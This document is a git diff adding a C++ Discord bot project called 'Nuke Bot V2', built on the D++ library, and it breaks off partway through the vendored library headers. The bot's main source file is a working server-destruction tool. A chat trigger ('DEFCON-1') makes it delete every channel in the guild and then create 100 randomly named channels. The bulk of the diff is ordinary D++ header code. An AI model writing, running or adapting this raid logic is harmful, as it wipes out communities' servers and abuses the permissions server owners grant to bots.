diff --git a/MyBot.sln b/MyBot.sln new file mode 100644 index 0000000..c5ae80b --- /dev/null +++ b/MyBot.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31515.178 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MyBot", "MyBot\MyBot.vcxproj", "{3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Debug|x64.ActiveCfg = Debug|x64 + {3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Debug|x64.Build.0 = Debug|x64 + {3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Debug|x86.ActiveCfg = Debug|Win32 + {3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Debug|x86.Build.0 = Debug|Win32 + {3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Release|x64.ActiveCfg = Release|x64 + {3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Release|x64.Build.0 = Release|x64 + {3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Release|x86.ActiveCfg = Release|Win32 + {3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {4316AD79-3D59-4C1B-9DE2-6619B51AE700} + EndGlobalSection +EndGlobal diff --git a/MyBot/MyBot.cpp b/MyBot/MyBot.cpp new file mode 100644 index 0000000..cd0132d --- /dev/null +++ b/MyBot/MyBot.cpp @@ -0,0 +1,194 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +using namespace std; +using namespace std::this_thread; +using namespace std::chrono; + + +char prefix = { '!' }; +string nukecommand = "DEFCON-1"; + +Json::Value jsonglobal; +ifstream currentfile; + +std::string token = "token"; + +int state = 0; + +struct versionsct +{ + int major = 0; + int minor = 0; + int build = 0; +}; + +struct versionsct version = { 0,1,01 }; + + + + +Json::Value readandfetch() +{ + + currentfile.open("config.json"); + if (!currentfile.fail()) + { + Json::Value acutaljson; + Json::Reader reader; + + reader.parse(currentfile, acutaljson); + + + if (acutaljson["config"]["bot-token"].isString()) + { + cout << "Nuke Bot V2 " << version.major << "." << version.minor << "." << version.build << "\n \n \n"; + + token = acutaljson["config"]["bot-token"].asString(); + nukecommand = acutaljson["config"]["nukecommand"].asString(); + cout << "Nuke Command: " << nukecommand << "\n"; + + std::string str; + str = acutaljson["config"]["prefix"].asString(); + prefix = str[0]; + cout << "prefix: " << prefix << "\n \n"; + + } + + } + else + { + currentfile.close(); + jsonglobal["config"]["bot-token"] = "Bot Token Here"; + jsonglobal["config"]["nukecommand"] = "DEFCON-1"; + jsonglobal["config"]["prefix"] = "!"; + Json::StyledStreamWriter writer; + std::ofstream test1("config.json"); + writer.write(test1, jsonglobal); + + + + } + + return -1; + +} + +void writeandfetch(Json::Value root) +{ + if ((root != -1) || (root != NULL)) + { + jsonglobal = root; + + } + currentfile.close(); + Json::StyledStreamWriter writer; + std::ofstream test1("data.json"); + writer.write(test1, root); +} + +int main() +{ + + readandfetch(); + + dpp::cluster bot(token); + + + bot.on_message_create([&bot](const auto& event) { + + string str = event.msg.content; + std::size_t found = str.find_first_of(prefix); + + if (found == 0) { + if (event.msg.content == prefix + nukecommand) + { + + dpp::guild guild = *dpp::find_guild(event.msg.guild_id); + + cout << "\nTotal Channels: " << guild.channels.size() << "\n"; + int channelsize = guild.channels.size(); + bot.message_create(dpp::message(event.msg.channel_id, "01001110 01010101 01001011 01000101")); + bot.channels_get(event.msg.guild_id, [&bot, guild](const dpp::confirmation_callback_t& callback) { + + if (!callback.is_error()) + { + dpp::channel_map channels = std::get(callback.value); + for (auto const& channel : channels) { + + + std::string channelname = channel.second.name; + bot.channel_delete(channel.second.id, [channelname](const dpp::confirmation_callback_t& callback) + { + if (!callback.is_error()) + { + std::cout << "Delete: " << channelname << " named channel \n"; + } + else + { + cout << "Error: " << callback.get_error().message << "\n"; + } + + } + + + + ); + } + + + + + + for (int i = 0; i < 100; i++) + { + dpp::channel channel; + channel.guild_id = guild.id; + + channel.name = to_string(rand()); + bot.channel_create(channel, [&bot, channel](const dpp::confirmation_callback_t& cb) { + + if (!cb.is_error()) + { + cout << "\n" << channel.name << " named channel created"; + } + else + { + std::cout << cb.get_error().message; + } + }); + } + } + else + { + cout << "Error: " << callback.get_error().message; + } + } + ); + } + } + } + ); + + bot.on_ready([&bot](const dpp::ready_t& event) { + std::cout << "Logged in as " << bot.me.username << "!\n"; + std::cout << "Session id: " << event.session_id << "\n"; + + }); + + + bot.start(false); + + + return 0; +} \ No newline at end of file diff --git a/MyBot/MyBot.vcxproj b/MyBot/MyBot.vcxproj new file mode 100644 index 0000000..65cc11b --- /dev/null +++ b/MyBot/MyBot.vcxproj @@ -0,0 +1,231 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {3bcaa106-d9d9-43ab-af92-01c943f4fec2} + MyBot + 10.0 + Discord-Nuke-Bot-v2 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + dependencies\include\dpp-9.0;$(IncludePath) + dependencies\32\debug\lib\dpp-9.0;$(LibraryPath) + + + false + dependencies\include\dpp-9.0;$(VC_IncludePath);$(WindowsSDK_IncludePath); + dependencies\32\release\lib\dpp-9.0;$(VC_LibraryPath_x86);$(WindowsSDK_LibraryPath_x86) + + + true + dependencies\include\dpp-9.0;$(IncludePath) + dependencies\64\debug\lib\dpp-9.0;$(LibraryPath) + + + false + dependencies\include\dpp-9.0;$(VC_IncludePath);$(WindowsSDK_IncludePath); + dependencies\64\release\lib\dpp-9.0;$(VC_LibraryPath_x64);$(WindowsSDK_LibraryPath_x64) + + + + TurnOffAllWarnings + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + + + Console + true + dpp.lib;ws2_32.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + copy /y "$(ProjectDir)dependencies\32\debug\bin\*.dll" "$(OutDir)" + + + Copy 32 Bit Debug DLLs to Build + + + + + TurnOffAllWarnings + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + + + Console + true + true + true + dpp.lib;ws2_32.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + copy /y "$(ProjectDir)dependencies\32\release\bin\*.dll" "$(OutDir)" + + + Copy 32 Bit Release DLLs to Build + + + + + TurnOffAllWarnings + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + + + Console + true + dpp.lib;ws2_32.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + copy /y "$(ProjectDir)dependencies\64\debug\bin\*.dll" "$(OutDir)" + + + Copy 64 Bit Debug DLLs to Build + + + + + TurnOffAllWarnings + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + + + Console + true + true + true + ws2_32.lib;dpp.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + copy /y "$(ProjectDir)dependencies\64\release\bin\*.dll" "$(OutDir)" + + + Copy 64 Bit Release DLLs to Build + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/MyBot/MyBot.vcxproj.filters b/MyBot/MyBot.vcxproj.filters new file mode 100644 index 0000000..0f8963d --- /dev/null +++ b/MyBot/MyBot.vcxproj.filters @@ -0,0 +1,150 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {0c7369e9-66c5-45ca-8a7d-8891f46001be} + + + + + Source Files + + + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + DPP + + + \ No newline at end of file diff --git a/MyBot/data.json b/MyBot/data.json new file mode 100644 index 0000000..19765bd --- /dev/null +++ b/MyBot/data.json @@ -0,0 +1 @@ +null diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/application.h b/MyBot/dependencies/include/dpp-9.0/dpp/application.h new file mode 100644 index 0000000..8cc23d3 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/application.h @@ -0,0 +1,127 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ + +#pragma once +#include +#include +#include + +namespace dpp { + +/** + * @brief status of a member of a team who maintain a bot/application + */ +enum team_member_status : uint8_t { + /// User was invited to the team + tms_invited = 1, + /// User has accepted membership onto the team + tms_accepted = 2 +}; + +/** + * @brief Flags for a bot or application + */ +enum application_flags : uint32_t { + /// Has gateway presence intent + apf_gateway_presence = (1 << 12), + /// Has gateway presence intent for <100 guilds + apf_gateway_presence_limited = (1 << 13), + /// Has guild members intent + apf_gateway_guild_members = (1 << 14), + /// Has guild members intent for <100 guilds + apf_gateway_guild_members_limited = (1 << 15), + /// Verification is pending + apf_verification_pending_guild_limit = (1 << 16), + /// Embedded + apf_embedded = (1 << 17), + /// Has approval for message content + apf_gateway_message_content = (1 << 18), + /// Has message content, but <100 guilds + apf_gateway_message_content_limited = (1 << 19) +}; + +/** + * @brief Represents a team member on a team who maintain a bot/application + */ +class DPP_EXPORT team_member { +public: + team_member_status membership_state; //!< the user's membership state on the team + std::string permissions; //!< will always be [""] + snowflake team_id; //!< the id of the parent team of which they are a member + user member_user; //!< the avatar, discriminator, id, and username of the user +}; + +/** + * @brief Represents a team of users who maintain a bot/application + */ +class DPP_EXPORT app_team { +public: + utility::iconhash icon; //!< a hash of the image of the team's icon (may be empty) + snowflake id; //!< the unique id of the team + std::vector members; //!< the members of the team + std::string name; //!< the name of the team + snowflake owner_user_id; //!< the user id of the current team owner +}; + +/** + * @brief The application class represents details of a bot application + */ +class DPP_EXPORT application : public managed { +public: + std::string name; //!< the name of the app + utility::iconhash icon; //!< the icon hash of the app (may be empty) + std::string description; //!< the description of the app + std::string rpc_origins; //!< Optional: an array of rpc origin urls, if rpc is enabled + bool bot_public; //!< when false only app owner can join the app's bot to guilds + bool bot_require_code_grant; //!< when true the app's bot will only join upon completion of the full oauth2 code grant flow + std::string terms_of_service_url; //!< Optional: the url of the app's terms of service + std::string privacy_policy_url; //!< Optional: the url of the app's privacy policy + user owner; //!< Optional: partial user object containing info on the owner of the application + std::string summary; //!< if this application is a game sold on Discord, this field will be the summary field for the store page of its primary sku + std::string verify_key; //!< the hex encoded key for verification in interactions and the GameSDK's GetTicket + app_team team; //!< if the application belongs to a team, this will be a list of the members of that team (may be empty) + snowflake guild_id; //!< Optional: if this application is a game sold on Discord, this field will be the guild to which it has been linked + snowflake primary_sku_id; //!< Optional: if this application is a game sold on Discord, this field will be the id of the "Game SKU" that is created, if exists + std::string slug; //!< Optional: if this application is a game sold on Discord, this field will be the URL slug that links to the store page + utility::iconhash cover_image; //!< Optional: the application's default rich presence invite cover image hash + uint32_t flags; //!< Optional: the application's public flags + + /** Constructor */ + application(); + + /** Destructor */ + ~application(); + + /** Read class values from json object + * @param j A json object to read from + * @return A reference to self + */ + application& fill_from_json(nlohmann::json* j); +}; + +/** A group of applications. + * This is not currently ever sent by Discord API but the DPP standard setup for + * objects that can be received by REST has the possibility for this, so this exists. + * Don't ever expect to see one at present. + */ +typedef std::unordered_map application_map; + +}; diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/auditlog.h b/MyBot/dependencies/include/dpp-9.0/dpp/auditlog.h new file mode 100644 index 0000000..31b48b2 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/auditlog.h @@ -0,0 +1,189 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ + +#pragma once +#include +#include +#include +#include + +namespace dpp { + +/** + * @brief Defines types of audit log entry + */ +enum audit_type { + /// Guild update + ae_guild_update = 1, + /// Channel create + ae_channel_create = 10, + /// Channel update + ae_channel_update = 11, + /// Channel delete + ae_channel_delete = 12, + /// Channel overwrite create + ae_channel_overwrite_create = 13, + /// Channel overwrite update + ae_channel_overwrite_update = 14, + /// Channel overwrite delete + ae_channel_overwrite_delete = 15, + /// Channel member kick + ae_member_kick = 20, + /// Channel member prune + ae_member_prune = 21, + /// Channel member ban add + ae_member_ban_add = 22, + /// Channel member ban remove + ae_member_ban_remove = 23, + /// Guild member update + ae_member_update = 24, + /// Guild member role update + ae_member_role_update = 25, + /// Guild member move + ae_member_move = 26, + /// Guild member voice disconnect + ae_member_disconnect = 27, + /// Guild bot add + ae_bot_add = 28, + /// Guild role create + ae_role_create = 30, + /// Guild role update + ae_role_update = 31, + /// Guild role delete + ae_role_delete = 32, + /// Guild invite create + ae_invite_create = 40, + /// Guild invite update + ae_invite_update = 41, + /// Guild invite delete + ae_invite_delete = 42, + /// Guild webhook create + ae_webhook_create = 50, + /// Guild webhook update + ae_webhook_update = 51, + /// Guild webhook delete + ae_webhook_delete = 52, + /// Guild emoji create + ae_emoji_create = 60, + /// Guild emoji update + ae_emoji_update = 61, + /// Guild emoji delete + ae_emoji_delete = 62, + /// Guild message delete + ae_message_delete = 72, + /// Guild message bulk delete + ae_message_bulk_delete = 73, + /// Guild message pin + ae_message_pin = 74, + /// Guild message unpin + ae_message_unpin = 75, + /// Guild integration create + ae_integration_create = 80, + /// Guild integration update + ae_integration_update = 81, + /// Guild integration delete + ae_integration_delete = 82, + /// Stage instance create + ae_stage_instance_create = 83, + /// Stage instance update + ae_stage_instance_update = 84, + /// stage instance delete + ae_stage_instance_delete = 85, + /// Sticker create + ae_sticker_create = 90, + /// Sticker update + ae_sticker_update = 91, + /// Sticker delete + ae_sticker_delete = 92, + /// Scheduled event creation + ae_guild_scheduled_event_create = 100, + /// Scheduled event update + ae_guild_scheduled_event_update = 101, + /// Scheduled event deletion + ae_guild_scheduled_event_delete = 102, + /// Thread create + ae_thread_create = 110, + /// Thread update + ae_thread_update = 111, + /// Thread delete + ae_thread_delete = 112 +}; + +/** + * @brief Defines audit log changes + */ +struct DPP_EXPORT audit_change { + /// Optional: Serialised new value of the key + std::string new_value; + /// Optional: Serialised old value of the key + std::string old_value; + /// name of audit log change key + std::string key; +}; + +/** + * @brief Extra information for an audit log entry + */ +struct DPP_EXPORT audit_extra { + std::string delete_member_days; //!< number of days after which inactive members were kicked + std::string members_removed; //!< number of members removed by the prune + snowflake channel_id; //!< channel in which the entities were targeted + snowflake message_id; //!< id of the message that was targeted + std::string count; //!< number of entities that were targeted + snowflake id; //!< id of the overwritten entity + std::string type; //!< type of overwritten entity - "0" for "role" or "1" for "member" + std::string role_name; //!< name of the role if type is "0" (not present if type is "1") +}; + +/** + * @brief An individual audit log entry + */ +struct DPP_EXPORT audit_entry { + snowflake id; //!< id of the entry + snowflake target_id; //!< id of the affected entity (webhook, user, role, etc.) (may be empty) + std::vector changes; //!< Optional: changes made to the target_id + snowflake user_id; //!< the user who made the changes (may be empty) + audit_type event; //!< type of action that occurred + std::optional options; //!< Optional: additional info for certain action types + std::string reason; //!< Optional: the reason for the change (0-512 characters) +}; + +/** + * @brief The auditlog class represents the audit log entry of a guild. + */ +class DPP_EXPORT auditlog { +public: + std::vector entries; //!< Audit log entries + + /** Constructor */ + auditlog(); + + /** Destructor */ + ~auditlog(); + + /** Read class values from json object + * @param j A json object to read from + * @return A reference to self + */ + auditlog& fill_from_json(nlohmann::json* j); +}; + +}; diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/ban.h b/MyBot/dependencies/include/dpp-9.0/dpp/ban.h new file mode 100644 index 0000000..5eed5f0 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/ban.h @@ -0,0 +1,64 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ + +#pragma once +#include +#include +#include + +namespace dpp { + +/** + * @brief The ban class represents a ban on a guild. + * + */ +class DPP_EXPORT ban { +public: + /** The ban reason */ + std::string reason; + /** User ID the ban applies to */ + snowflake user_id; + + /** Constructor */ + ban(); + + /** Destructor */ + ~ban(); + + /** Read class values from json object + * @param j A json object to read from + * @return A reference to self + */ + ban& fill_from_json(nlohmann::json* j); + + /** + * @brief Build json representation of a ban + * + * @return std::string stringified json + */ + std::string build_json() const; +}; + +/** A group of bans + */ +typedef std::unordered_map ban_map; + +}; diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/cache.h b/MyBot/dependencies/include/dpp-9.0/dpp/cache.h new file mode 100644 index 0000000..1e24938 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/cache.h @@ -0,0 +1,282 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ + +#pragma once +#include +#include +#include +#include +#include + +namespace dpp { + +extern DPP_EXPORT std::unordered_map deletion_queue; +extern DPP_EXPORT std::mutex deletion_mutex; + +/** forward declaration */ +class guild_member; + +/** + * @brief A cache object maintains a cache of dpp::managed objects. + * + * This is for example users, channels or guilds. You may instantiate + * your own caches, to contain any type derived from dpp::managed including + * your own types. + * + * @note This class is critical to the operation of the library and therefore + * designed with thread safety in mind. + * @tparam T class type to store, which should be derived from dpp::managed. + */ +template class cache { +private: + /** + * @brief Mutex to protect the cache + * + * This is a shared mutex so reading is cheap. + */ + std::shared_mutex cache_mutex; + + /** + * @brief Container of pointers to cached items + */ + std::unordered_map* cache_map; +public: + + /** + * @brief Construct a new cache object. + * + * Caches must contain classes derived from dpp::managed. + */ + cache() { + cache_map = new std::unordered_map; + } + + /** + * @brief Destroy the cache object + * + * @note This does not delete objects stored in the cache. + */ + ~cache() { + std::unique_lock l(cache_mutex); + delete cache_map; + } + + /** + * @brief Store an object in the cache. Passing a nullptr will have no effect. + * + * The object must be derived from dpp::managed and should be allocated on the heap. + * Generally this is done via `new`. Once stored in the cache the lifetime of the stored + * object is managed by the cache class unless the cache is deleted (at which point responsibility + * for deleting the object returns to its allocator). Objects stored are removed when the + * cache::remove() method is called by placing them into a garbage collection queue for deletion + * within the next 60 seconds, which are then deleted in bulk for efficiency and to aid thread + * safety. + * + * @note Adding an object to the cache with an ID which already exists replaces that entry. + * The previously entered cache item is inserted into the garbage collection queue for deletion + * similarly to if cache::remove() was called first. + * + * @param object object to store. Storing a pointer to the cache relinquishes ownership to the cache object. + */ + void store(T* object) { + if (!object) { + return; + } + std::unique_lock l(cache_mutex); + auto existing = cache_map->find(object->id); + if (existing == cache_map->end()) { + (*cache_map)[object->id] = object; + } else if (object != existing->second) { + /* Flag old pointer for deletion and replace */ + std::lock_guard delete_lock(deletion_mutex); + deletion_queue[existing->second] = time(NULL); + (*cache_map)[object->id] = object; + } + } + + /** + * @brief Remove an object from the cache. + * + * @note The cache class takes ownership of the pointer, and calling this method will + * cause deletion of the object within the next 60 seconds by means of a garbage + * collection queue. This queue aids in efficiency by freeing memory in bulk, and + * assists in thread safety by ensuring that all deletions can be locked and freed + * at the same time. + * + * @param object object to remove. Passing a nullptr will have no effect. + */ + void remove(T* object) { + if (!object) { + return; + } + std::unique_lock l(cache_mutex); + std::lock_guard delete_lock(deletion_mutex); + auto existing = cache_map->find(object->id); + if (existing != cache_map->end()) { + cache_map->erase(existing); + deletion_queue[object] = time(NULL); + } + } + + /** + * @brief Find an object in the cache by id. + * + * The cache is searched for the object. All dpp::managed objects have a snowflake id + * (this is the only field dpp::managed actually has). + * + * @warning Do not hang onto objects returned by cache::find() indefinitely. They may be + * deleted at a later date if cache::remove() is called. If persistence is required, + * take a copy of the object after checking its pointer is non-null. + * + * @param id Object snowflake id to find + * @return Found object or nullptr if the object with this id does not exist. + */ + T* find(snowflake id) { + std::shared_lock l(cache_mutex); + auto r = cache_map->find(id); + if (r != cache_map->end()) { + return r->second; + } + return nullptr; + } + + /** + * @brief Return a count of the number of items in the cache. + * + * This is used by the library e.g. to count guilds, users, and roles + * stored within caches. + * + * @return uint64_t count of items in the cache + */ + uint64_t count() { + std::shared_lock l(cache_mutex); + return cache_map->size(); + } + + /** + * @brief Return the cache's locking mutex. + * + * Use this whenever you manipulate or iterate raw elements in the cache! + * + * @note If you are only reading from the cache's container, wrap this + * mutex in `std::shared_lock`, else wrap it in a `std::unique_lock`. + * Shared locks will allow for multiple readers whilst blocking writers, + * and unique locks will allow only one writer whilst blocking readers + * and writers. + * + * **Example:** + * + * ```cpp + * dpp::cache* c = dpp::get_guild_cache(); + * std::unordered_map& gc = c->get_container(); + * std::shared_lock l(c->get_mutex()); // MUST LOCK HERE + * for (auto g = gc.begin(); g != gc.end(); ++g) { + * dpp::guild* gp = (dpp::guild*)g->second; + * // Do something here with the guild* in 'gp' + * } + * ``` + * + * @return The mutex used to protect the container + */ + std::shared_mutex& get_mutex() { + return this->cache_mutex; + } + + /** + * @brief Get the container unordered map + * + * @warning Be sure to use cache::get_mutex() correctly if you + * manipulate or iterate the map returned by this method! If you do + * not, this is not thread safe and will cause crashes! + * + * @see cache::get_mutex + * + * @return A reference to the cache's container map + */ + auto & get_container() { + return *(this->cache_map); + } + + /** + * @brief "Rehash" a cache by reallocating the map and copying + * all elements into the new one. + * + * Over a long running timeframe, unordered maps can grow in size + * due to bucket allocation, this function frees that unused memory + * to keep the maps in control over time. If this is an issue which + * is apparent with your use of dpp::cache objects, you should periodically + * call this method. + * + * @warning May be time consuming! This function is O(n) in relation to the + * number of cached entries. + */ + void rehash() { + std::unique_lock l(cache_mutex); + std::unordered_map* n = new std::unordered_map; + n->reserve(cache_map->size()); + for (auto t = cache_map->begin(); t != cache_map->end(); ++t) { + n->insert(*t); + } + delete cache_map; + cache_map = n; + } + + /** + * @brief Get "real" size in RAM of the cached objects + * + * This does not include metadata used to maintain the undordered map itself. + * + * @return size_t size of cache in bytes + */ + size_t bytes() { + std::shared_lock l(cache_mutex); + return sizeof(this) + (cache_map->bucket_count() * sizeof(size_t)); + } + +}; + +/** Run garbage collection across all caches removing deleted items + * that have been deleted over 60 seconds ago. + */ +void DPP_EXPORT garbage_collection(); + +#define cache_decl(type, setter, getter, counter) DPP_EXPORT type * setter (snowflake id); DPP_EXPORT cache * getter (); DPP_EXPORT uint64_t counter (); + +/* Declare major caches */ +cache_decl(user, find_user, get_user_cache, get_user_count); +cache_decl(guild, find_guild, get_guild_cache, get_guild_count); +cache_decl(role, find_role, get_role_cache, get_role_count); +cache_decl(channel, find_channel, get_channel_cache, get_channel_count); +cache_decl(emoji, find_emoji, get_emoji_cache, get_emoji_count); + +/** + * @brief Get the guild_member from cache of given IDs + * + * @param guild_id ID of the guild to find guild_member for + * @param user_id ID of the user to find guild_member for + * + * @throw dpp::cache_exception if the guild or guild_member is not found in the cache + * @return guild_member the cached object, if found + */ +guild_member DPP_EXPORT find_guild_member(const snowflake guild_id, const snowflake user_id); + +}; + diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/channel.h b/MyBot/dependencies/include/dpp-9.0/dpp/channel.h new file mode 100644 index 0000000..2bad38a --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/channel.h @@ -0,0 +1,437 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ + +#pragma once +#include +#include + +namespace dpp { + +/** @brief Flag integers as received from and sent to discord */ +enum channel_type { + GUILD_TEXT = 0, //!< a text channel within a server + DM = 1, //!< a direct message between users + GUILD_VOICE = 2, //!< a voice channel within a server + GROUP_DM = 3, //!< a direct message between multiple users + GUILD_CATEGORY = 4, //!< an organizational category that contains up to 50 channels + GUILD_NEWS = 5, //!< a channel that users can follow and crosspost into their own server + GUILD_STORE = 6, //!< a channel in which game developers can sell their game on Discord + GUILD_NEWS_THREAD = 10, //!< a temporary sub-channel within a GUILD_NEWS channel + GUILD_PUBLIC_THREAD = 11, //!< a temporary sub-channel within a GUILD_TEXT channel + GUILD_PRIVATE_THREAD = 12, //!< a temporary sub-channel within a GUILD_TEXT channel that is only viewable by those invited and those with the MANAGE_THREADS permission + GUILD_STAGE = 13 //!< a "stage" channel, like a voice channel with one authorised speaker +}; +/** @brief Our flags as stored in the object */ +enum channel_flags : uint16_t { + /** + * @brief video quality mode 720p + * This is a dummy value as it does nothing, in comparison to + * c_video_quality_720p which actually sets the bit! + */ + c_video_quality_auto = 0b0000000000000000, + /// NSFW Gated Channel + c_nsfw = 0b0000000000000001, + /// Text channel + c_text = 0b0000000000000010, + /// Direct Message + c_dm = 0b0000000000000100, + /// Voice channel + c_voice = 0b0000000000001000, + /// Group + c_group = 0b0000000000010000, + /// Category + c_category = 0b0000000000100000, + /// News channel + c_news = 0b0000000001000000, + /// Store page + c_store = 0b0000000010000000, + /// Stage channel + c_stage = 0b0000000011000000, + /// News thread + c_news_thread = 0b0000000011100000, + /// Public thread + c_public_thread = 0b0000000011110000, + /// Private thread + c_private_thread = 0b0000000011111000, + /// Video quality forced to 720p + c_video_quality_720p = 0b0000000100000000, +}; + +/** + * @brief channel permission overwrite types + */ +enum overwrite_type : uint8_t { + /// Role + ot_role = 0, + /// Member + ot_member = 1 +}; + +/** + * @brief channel permission overwrites + */ +struct DPP_EXPORT permission_overwrite { + /// Overwrite id + snowflake id; + /// Overwrite type + uint8_t type; + /// Allow mask + uint64_t allow; + /// Deny mask + uint64_t deny; +}; + + +/** + * @brief 